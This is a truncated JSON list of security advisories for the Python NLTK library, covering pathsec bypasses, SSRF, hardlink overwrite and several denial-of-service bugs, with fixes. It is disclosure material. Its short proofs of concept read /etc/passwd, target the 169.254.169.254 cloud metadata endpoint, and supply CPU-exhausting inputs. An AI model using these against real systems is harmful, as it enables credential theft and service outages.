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Any user who installed NLTK 3.9.x expecting the security fixes to be active is still vulnerable unless they manually set NLTK_PATHSEC_ENFORCE=1.\n\nPoC:\n```python\nimport nltk.pathsec\nimport warnings\n\n# Show that ENFORCE is False by default\nprint(f'ENFORCE = {nltk.pathsec.ENFORCE}')  # False\n\n# Attempt to read /etc/passwd through pathsec -- should be blocked\nwith warnings.catch_warnings(record=True) as w:\n    warnings.simplefilter('always')\n    result = nltk.pathsec.open('/etc/passwd', 'r')\n    print(f'File opened: {result.name}')  # /etc/passwd\n    print(f'Warning emitted: {w[0].message}')  # RuntimeWarning (not an exception)\n    # Attack succeeds -- file is readable\n```\n\nThe correct default is fail-secure: ENFORCE should be True unless explicitly disabled. The current default makes the security module opt-in rather than opt-out, defeating its purpose.\n\nSuggested fix: Change default to ENFORCE=True. Users who need backwards compatibility can set NLTK_PATHSEC_ENFORCE=0 to explicitly disable.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-02T15:40:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p3m8-78j2-g5p3","https://nvd.nist.gov/vuln/detail/CVE-2026-62388","https://github.com/nltk/nltk/pull/3593","https://github.com/nltk/nltk/commit/155e40343cff0bf50d233e274a12e04d1428b1d9","https://github.com/nltk/nltk/releases/tag/v3.10.0","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3722.yaml","https://www.vulncheck.com/advisories/nltk-before-insecure-default-configuration-pathsec","https://github.com/advisories/GHSA-p3m8-78j2-g5p3"],"source_kind":"github","identifiers":["GHSA-p3m8-78j2-g5p3","CVE-2026-62388"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.306Z","updated_at":"2026-09-03T00:00:10.075Z","epss_percentage":0.00457,"epss_percentile":0.37818,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wM204LTc4ajItZzVwM84ABoes","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wM204LTc4ajItZzVwM84ABoes","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wM204LTc4ajItZzVwM84ABoes/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZ3FtLWZjdzUtdzgzOc4ABoer","url":"https://github.com/advisories/GHSA-3gqm-fcw5-w839","title":"NLTK: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure","description":"There is an SSRF vulnerability in NLTK 3.9.4's network URL validation. The validate_network_url() function in nltk/pathsec.py fails open when DNS resolution returns an error.\n\nThe _resolve_hostname() helper at lines 193-234 catches OSError and ValueError during socket.getaddrinfo() and returns an empty list []. When this happens, the validation loop in validate_network_url() iterates over nothing (for addr in resolved: ... never executes), with no else/fallback check. The function returns normally, and urlopen() proceeds to make the request without any IP validation.\n\nThis means:\n1. If DNS is temporarily unavailable, ALL SSRF protections are disabled\n2. DNS rebinding attacks bypass the check after the LRU cache entry expires\n3. In environments with unreliable resolvers, the protection is permanently bypassed\n\nPoC:\n```python\nimport nltk.pathsec\nimport unittest.mock\n\n# Simulate DNS failure\nwith unittest.mock.patch('socket.getaddrinfo', side_effect=OSError('DNS unavailable')):\n    # This SHOULD raise but doesn't -- fails open\n    nltk.pathsec.validate_network_url('http://169.254.169.254/latest/meta-data/')\n    # Returns normally, allowing SSRF to cloud metadata\n```\n\nThe correct behavior is fail-closed: if DNS resolution fails, the URL should be REJECTED (not allowed). The function should raise an exception or return a failure status when _resolve_hostname() returns an empty list.\n\nThis is distinct from CVE-2024-39705 (which addressed pickle deserialization) and CVE-2026-33236 (which addressed XML path traversal). This finding targets the newly-added pathsec.py security layer introduced to fix those earlier issues.\n\nSuggested fix: Add an explicit check after _resolve_hostname() returns: if the result is empty, raise a SecurityError. Never allow a URL request to proceed when IP validation was impossible.\n\nCVSS Note: The CVSS use SC:H (High subsequent confidentiality) because the advisory explicitly identifies cloud metadata endpoints (169.254.169.254) as an attack target. Access to AWS IMDS or GCP metadata exposes credentials or service account tokens, which constitutes High-impact disclosure on downstream systems. This justifies SC:H over NVD's SC:L.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T15:39:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3gqm-fcw5-w839","https://nvd.nist.gov/vuln/detail/CVE-2026-63311","https://github.com/nltk/nltk/pull/3582","https://github.com/nltk/nltk/commit/4a820afa58810cd05049b6c6eae306694d6cfe65","https://github.com/nltk/nltk/releases/tag/v3.10.0","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3723.yaml","https://www.vulncheck.com/advisories/nltk-before-ssrf-via-dns-resolution-failure","https://github.com/advisories/GHSA-3gqm-fcw5-w839"],"source_kind":"github","identifiers":["GHSA-3gqm-fcw5-w839","CVE-2026-63311"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.306Z","updated_at":"2026-09-03T00:00:10.076Z","epss_percentage":0.00241,"epss_percentile":0.15056,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3FtLWZjdzUtdzgzOc4ABoer","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZ3FtLWZjdzUtdzgzOc4ABoer","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZ3FtLWZjdzUtdzgzOc4ABoer/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13dzZtLWN3M2YtcTk0Z84ABodB","url":"https://github.com/advisories/GHSA-ww6m-cw3f-q94g","title":"NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'","description":"`nltk.stem.PorterStemmer.stem()` -- a ubiquitous public API applied to arbitrary, often untrusted, tokens -- runs in O(n^2) time on a token containing a long run of the letter 'y', letting a single ~20-50 KB token pin a CPU core (CWE-407).\n\n## Root cause\n\n`_is_consonant(word, i)` was made *iterative* (commit for #3633, GHSA/CWE-674) to fix an earlier unbounded-recursion `RecursionError` on `'y'*10000`. The iterative form walks *backward* over the whole run of 'y's on every call:\n\n```python\nwhile i \u003e 0 and word[i] == 'y':\n    negate = not negate\n    i -= 1\n```\n\n`_measure()` then calls `_is_consonant(stem, i)` once for **every** position `i` of the stem. For a run of n 'y's that is sum_{i} O(i) = O(n^2). The recursion fix therefore traded a CWE-674 RecursionError for a CWE-407 quadratic-time DoS.\n\n## Proof of concept\n\nMeasured (Python 3.13): `stem('y'*5000 + 'ness')` = 2.6s, `stem('y'*10000 + 'ness')` = 11.3s (2x input -\u003e ~4.3x time = quadratic), `stem('y'*20000 + 'ness')` \u003e 20s. A pure run of 'y' with no matching suffix is fast because the stemmer rules that call `_measure` do not fire; a real suffix such as 'ness' triggers `_measure` on the long stem.\n\n```python\nfrom nltk.stem import PorterStemmer\nPorterStemmer().stem('y' * 20000 + 'ness')   # \u003e20s of CPU\n```\n\n## Impact\n\nStemming is routinely applied to untrusted text (search, indexing, NLP pipelines). A single unbroken ~20-50 KB token of 'y' characters (no whitespace, so it survives tokenization) causes multi-second-to-minutes CPU consumption per request. No confidentiality/integrity impact; single-process availability only.\n\n## Fix direction\n\nClassify each character's consonant/vowel status in a single left-to-right O(n) pass (memoise the 'y' run parity) instead of re-walking the run on every `_is_consonant` call, so `_measure` and stemming are linear. This is a sibling of the corpus-reader quadratic advisories GHSA-vp2x-qp44-57v7 and GHSA-8mpw-7fpc-4gqj (CWE-407).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:36:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-ww6m-cw3f-q94g","https://nvd.nist.gov/vuln/detail/CVE-2026-81722","https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3738.yaml","https://www.vulncheck.com/advisories/nltk-porterstemmer-before-3.10.3-quadratic-time-dos","https://github.com/advisories/GHSA-ww6m-cw3f-q94g"],"source_kind":"github","identifiers":["GHSA-ww6m-cw3f-q94g","CVE-2026-81722"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.283Z","epss_percentage":0.00363,"epss_percentile":0.29268,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dzZtLWN3M2YtcTk0Z84ABodB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13dzZtLWN3M2YtcTk0Z84ABodB","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dzZtLWN3M2YtcTk0Z84ABodB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mNzk0LTVqdjctNzY3Ms4ABodA","url":"https://github.com/advisories/GHSA-f794-5jv7-7672","title":"NLTK: Downloader.download follows hardlinks and overwrites outside-root files","description":"### Summary\n\nNLTK's downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.\n\n### Details\n\n- **Vulnerability type:** Filesystem containment bypass\n- **Affected component:** `nltk.downloader.Downloader.download`, `nltk.downloader.Downloader.incr_download`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced for the extraction-stage overwrite.\n- **Patched versions:** 3.10.3\n- **Root cause:** The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.\n\nThe install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.\n\n### PoC\n\n**Preconditions**\n- The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.\n\n**Steps**\n1. Prepare a downloader root and create a hardlink inside it that points to an outside target file.\n2. Confirm a symlink at the same path is rejected as a negative control.\n3. Run a normal `Downloader.download()` package install whose extracted member lands on the hardlink path.\n4. Observe the outside target file is overwritten while the downloader still reports the package as installed.\n\n**Minimal reproducible excerpt**\n\n```text\nextract_hardlink_before ORIGINAL\nextract_hardlink_after PWNED\nextract_hardlink_status installed\n```\n\n### Impact\n\nA shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.\n\n### Remediation\n\nTreat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:35:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-f794-5jv7-7672","https://nvd.nist.gov/vuln/detail/CVE-2026-81727","https://github.com/nltk/nltk/pull/3797","https://github.com/nltk/nltk/commit/9e6d5f05902b9aaa1221a0a565448d17a9c9b3e8","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3741.yaml","https://www.vulncheck.com/advisories/nltk-before-3.10.3-hardlink-file-overwrite-via-downloader","https://github.com/advisories/GHSA-f794-5jv7-7672"],"source_kind":"github","identifiers":["GHSA-f794-5jv7-7672","CVE-2026-81727"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.284Z","epss_percentage":0.00135,"epss_percentile":0.03275,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNzk0LTVqdjctNzY3Ms4ABodA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mNzk0LTVqdjctNzY3Ms4ABodA","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNzk0LTVqdjctNzY3Ms4ABodA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bWdwLTc0NmMtajV4cM4ABoc_","url":"https://github.com/advisories/GHSA-8mgp-746c-j5xp","title":"NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots","description":"### Summary\n\nSeveral model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.\n\n### Details\n\n- **Vulnerability type:** File sandbox bypass\n- **Affected component:** `TransitionParser.train`, `TransitionParser.parse`, `AveragedPerceptron.save`, `AveragedPerceptron.load`, `PerceptronTagger.save_to_json`, `save_maxent_params`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Model import and export helpers use built-in `open()` on caller-controlled paths instead of pathsec-aware helpers.\n\n`TransitionParser.train()` writes outside allowed roots, `TransitionParser.parse()` reads outside allowed roots, `AveragedPerceptron` bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while `pathsec.open()` or the guarded sibling helpers rejected the same paths.\n\n### PoC\n\n**Preconditions**\n- The application enables `pathsec` enforcement and lets untrusted workflows choose model import or export paths.\n\n**Steps**\n1. Enable `pathsec.ENFORCE=True` and restrict allowed roots to a dedicated sandbox directory.\n2. Use public model import or export APIs with paths that point outside that root.\n3. Observe the same paths are rejected by negative-control guarded helpers such as `pathsec.open()`, `PerceptronTagger.load_from_json()`, or `load_maxent_params()`.\n4. Observe the vulnerable APIs still read or write outside-root files successfully.\n\n**Minimal reproducible excerpt**\n\n```text\ntransition_train_exists True\ntransition_parse_loader_read_bytes 13\naveraged_load_keys ['bias']\nmaxent_save wrote ['alwayson.tab', 'labels.txt']\n```\n\n### Impact\n\nConsumers that rely on `pathsec` for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.\n\n### Remediation\n\nRoute all model-path file access through `nltk.pathsec.open()` or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-02T14:35:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-8mgp-746c-j5xp","https://nvd.nist.gov/vuln/detail/CVE-2026-81726","https://github.com/nltk/nltk/pull/3757","https://github.com/nltk/nltk/pull/3759","https://github.com/nltk/nltk/pull/3813","https://github.com/nltk/nltk/commit/2a92b71827d754ae8920261e7ed0c4bb283ab2d7","https://github.com/nltk/nltk/commit/a44a7af69bca87e92d9c4a701fcbbe4512e8d450","https://github.com/nltk/nltk/commit/cbc98458b43de5f792f0382583c16df39e5c5117","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3740.yaml","https://www.vulncheck.com/advisories/nltk-through-3.10.3-path-traversal-via-model-artifact-apis","https://github.com/advisories/GHSA-8mgp-746c-j5xp"],"source_kind":"github","identifiers":["GHSA-8mgp-746c-j5xp","CVE-2026-81726"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.285Z","epss_percentage":0.0026,"epss_percentile":0.17441,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bWdwLTc0NmMtajV4cM4ABoc_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bWdwLTc0NmMtajV4cM4ABoc_","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bWdwLTc0NmMtajV4cM4ABoc_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cDJ4LXFwNDQtNTd2N84ABoc-","url":"https://github.com/advisories/GHSA-vp2x-qp44-57v7","title":"NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`","description":"## Summary\n\n`XMLCorpusView._read_xml_fragment()` reads a corpus file in 1 KiB blocks, appending\neach block to a growing `fragment` string, then calls `_VALID_XML_RE.match(fragment)`\non the full accumulated buffer every iteration. Because each iteration rescans the\nentire accumulated fragment, the total amount of work grows quadratically with input\nsize.\n\nCommit `c9c332284` (CWE-1333) made each `match()` call linear. The quadratic behavior\nis separate: the loop calls `match()` once per 1 KiB block, each time on a longer\nbuffer.\n\nOn the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds\nthrough the public `BNCCorpusReader.words()` API with no source modification. Absolute\ntimings vary by hardware. `_read_xml_fragment()` imposes no limit on fragment size or\niteration count.\n\n## Details\n\n**File:** `nltk/corpus/reader/xmldocs.py`  \n**Function:** `XMLCorpusView._read_xml_fragment()`, lines 261–308\n\nThe relevant loop:\n\n```python\nfragment = \"\"\nwhile True:\n    fragment += stream.read(self._BLOCK_SIZE)      # grows by 1 KiB per iteration\n    if self._VALID_XML_RE.match(fragment):         # rescans full buffer each time\n        return fragment\n    ...\n    last_open_bracket = fragment.rfind(\"\u003c\")\n    if last_open_bracket \u003e 0:                      # False for single-'\u003c' payload\n        if self._VALID_XML_RE.match(fragment[:last_open_bracket]):\n            return ...\n    # loop continues\n```\n\nFor a payload of `b'\u003c' + b'a' * (N-1)`:\n\n- For this malformed input, `_VALID_XML_RE.match(fragment)` does not succeed because\n  the unterminated tag prevents the expression from matching before EOF.\n- `fragment.rfind(\"\u003c\")` returns `0`; the guard `last_open_bracket \u003e 0` is `False`, so\n  the backtrack branch is never taken.\n- The only exit is EOF, after all N bytes are consumed.\n\n**Affected readers** -\u003e readers that rely on `XMLCorpusView`, including\n`BNCCorpusReader`, `NPSChatCorpusReader`, `SemcorCorpusReader`, `MTECorpusReader`,\n`NKJPCorpusReader`, `FrameNetCorpusReader`, `VerbNetCorpusReader`, and direct\n`XMLCorpusView` instantiation. `XMLCorpusReader.xml()` is not affected -\u003e it calls\n`defusedxml.safe_parse()`.\n\n## PoC\n\nRequires only `pip install nltk`. No corpus data needed.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom time import perf_counter\nfrom nltk.corpus.reader.bnc import BNCCorpusReader\n\nSIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)\nresults = []\nwith TemporaryDirectory() as directory:\n    root = Path(directory)\n    malformed = root / \"unterminated.xml\"\n    for kib in SIZES_KIB:\n        malformed.write_bytes(b\"\u003c\" + b\"a\" * (kib * 1024 - 1))\n        t = perf_counter()\n        try:\n            list(BNCCorpusReader(str(root), [malformed.name]).words())\n        except ValueError as e:\n            assert \"tag not closed\" in str(e)\n        results.append(perf_counter() - t)\n\nprint(\"KiB      seconds   growth\")\nfor i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):\n    ratio = \"-\" if i == 0 else f\"{elapsed / results[i-1]:.2f}x\"\n    print(f\"{kib:5d}  {elapsed:9.3f}  {ratio}\")\n```\n\nRuntime should increase by approximately fourfold for each doubling of input size,\nalthough absolute timings vary by hardware.\n\nDuring verification, `_VALID_XML_RE.match()` was instrumented to record the size of\neach input. For a 256 KiB malformed file it was invoked 257 times on monotonically\nincreasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after\nEOF. This confirms that every iteration rescans the accumulated fragment.\n\n## Impact\n\nApplications that process attacker-controlled XML corpus files through an affected reader\nare vulnerable. The attacker needs only write access to a path the reader will open. No\nNLTK credentials or special privileges required. Offline tools reading only trusted\nlocal corpora are not at risk.\n\n**Affected versions:** Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.\nHistorical inspection indicates the same loop structure has existed since the\nintroduction of `XMLCorpusView` (2007), but only the listed versions were\nexperimentally verified. No patch exists in any published release.\n\nThis issue results in CPU exhaustion and may allow denial of service in applications\nthat process attacker-controlled XML corpus files.\n\n## Suggested Fix\n\nAvoid rescanning the accumulated fragment from the beginning after each 1 KiB read.\nIncremental parsing, bounded fragment accumulation, or another streaming approach would\neliminate the quadratic behavior while preserving existing semantics.\n\nA regression test should verify that `BNCCorpusReader.words()` raises `ValueError`\nwithin a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing\n`test_xmldocs_security.py` covers only the prior ReDoS payloads and does not exercise\nthis path.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:34:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-vp2x-qp44-57v7","https://nvd.nist.gov/vuln/detail/CVE-2026-81723","https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://www.vulncheck.com/advisories/nltk-before-3.10.3-quadratic-cpu-exhaustion-via-xmlcorpusview","https://github.com/advisories/GHSA-vp2x-qp44-57v7"],"source_kind":"github","identifiers":["GHSA-vp2x-qp44-57v7","CVE-2026-81723"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.286Z","epss_percentage":0.00222,"epss_percentile":0.12555,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cDJ4LXFwNDQtNTd2N84ABoc-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cDJ4LXFwNDQtNTd2N84ABoc-","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cDJ4LXFwNDQtNTd2N84ABoc-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZjVjLWNwNWMtOXdqZs4ABoc9","url":"https://github.com/advisories/GHSA-ff5c-cp5c-9wjf","title":"NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars","description":"`nltk.parse.RecursiveDescentParser` (and `SteppingRecursiveDescentParser`) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.\n\n## Proof of concept\n\nBoth of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:\n\n```python\nfrom nltk import CFG\nfrom nltk.parse import RecursiveDescentParser\n\n# (a) left recursion -\u003e unbounded recursion\ng = CFG.fromstring(\"S -\u003e S S | 'a'\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n\n# (b) ambiguous grammar -\u003e exponential number of parses\ng = CFG.fromstring(\"S -\u003e 'a' S | 'a' S S | 'a'\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n```\n\n## Impact\n\nAn application that runs `RecursiveDescentParser` on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.\n\n## Sibling\n\nThe RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:33:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-ff5c-cp5c-9wjf","https://github.com/nltk/nltk/pull/3649","https://github.com/nltk/nltk/commit/43aaca1b9024138421c97f970bf13ee19ac8129d","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/advisories/GHSA-ff5c-cp5c-9wjf"],"source_kind":"github","identifiers":["GHSA-ff5c-cp5c-9wjf","CVE-2026-12876"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T00:00:12.286Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjVjLWNwNWMtOXdqZs4ABoc9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZjVjLWNwNWMtOXdqZs4ABoc9","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjVjLWNwNWMtOXdqZs4ABoc9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdzZ4LW04anctcW1yaM4ABoc8","url":"https://github.com/advisories/GHSA-cw6x-m8jw-qmrh","title":"NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input","description":"### Summary\n\n`nltk.featstruct.FeatStructReader` (used by `FeatStruct(str)` and by `FeatureGrammar.fromstring()`) parses feature-structure strings such as `[a=1]` with a recursive-descent parser that has no nesting-depth limit. A small, trivially-crafted input (~700 bytes) with deeply nested brackets drives the parser past Python's recursion limit and raises an **unhandled `RecursionError`** instead of the library's normal, catchable `ValueError`/`LogicalExpressionException`. Any application that parses user-supplied feature-structure or feature-grammar text (e.g. NLP teaching tools, grammar \"playgrounds\", unification-grammar-based NLU pipelines) can be crashed by an unauthenticated input with no special privileges. This is a Denial of Service issue (CWE-674, Uncontrolled Recursion), not a memory-safety or code-execution issue.\n\nThis appears to be the same bug class as two issues already fixed elsewhere in the codebase — `nltk/jsontags.py` (`JSONTaggedDecoder.decode_obj`, guarded by `MAX_DECODE_DEPTH = 200`) and `nltk/sem/logic.py` (`LogicParser`, guarded by `MAX_PARSE_DEPTH = 200`) — but `nltk/featstruct.py` does not have an equivalent guard.\n\n### Details\n\nThe recursive call chain (current `develop` branch, `nltk/featstruct.py`):\n\n1. `FeatStructReader.fromstring()` ([`featstruct.py:2184`](nltk/featstruct.py#L2184)) calls `read_partial()` → `_read_partial()` ([`featstruct.py:2250`](nltk/featstruct.py#L2250)).\n2. `_read_partial()` dispatches to `_read_partial_featdict()`, which calls `_read_value()` ([`featstruct.py:2436`](nltk/featstruct.py#L2436)) for each feature's value.\n3. `_read_value()` calls `read_value()` ([`featstruct.py:2442`](nltk/featstruct.py#L2442)), which matches the value against `VALUE_HANDLERS` ([`featstruct.py:2478`](nltk/featstruct.py#L2478)).\n4. If the value itself starts with `[` (a nested feature structure), the matched handler is `read_fstruct_value` ([`featstruct.py:2479`](nltk/featstruct.py#L2479), defined at [`featstruct.py:2495`](nltk/featstruct.py#L2495)):\n   ```python\n   def read_fstruct_value(self, s, position, reentrances, match):\n       return self.read_partial(s, position, reentrances)\n   ```\n   This calls `read_partial()` again, which re-enters `_read_partial()` — the same function from step 1.\n\nThis closes a recursive cycle (`_read_partial → _read_value → read_value → read_fstruct_value → read_partial → _read_partial → ...`) with **no depth counter, no `MAX_*_DEPTH` constant, and no `try/except RecursionError`** anywhere in the class. Each additional `[` in the input adds one more full cycle of Python stack frames. Once the input nests deeply enough, Python's own recursion-limit protection fires and raises `RecursionError`, which is not a subclass of `ValueError` (the exception type this parser's own `_error()` helper raises for normal, well-formed parse errors) and therefore propagates uncaught through this API.\n\nFor comparison, `nltk/sem/logic.py`'s `LogicParser` was hardened against exactly this class of issue:\n```python\n#: Maximum expression-nesting depth the recursive-descent parser will\n#: descend to. Deeply nested input would otherwise recurse until Python\n#: raises an uncaught RecursionError and crashes the caller\n#: (uncontrolled recursion, CWE-674); past this depth a normal\n#: LogicalExpressionException is raised instead. Configurable.\nMAX_PARSE_DEPTH = 200\n```\n(`nltk/sem/logic.py:102-107`), and `nltk/jsontags.py`'s `JSONTaggedDecoder` similarly has 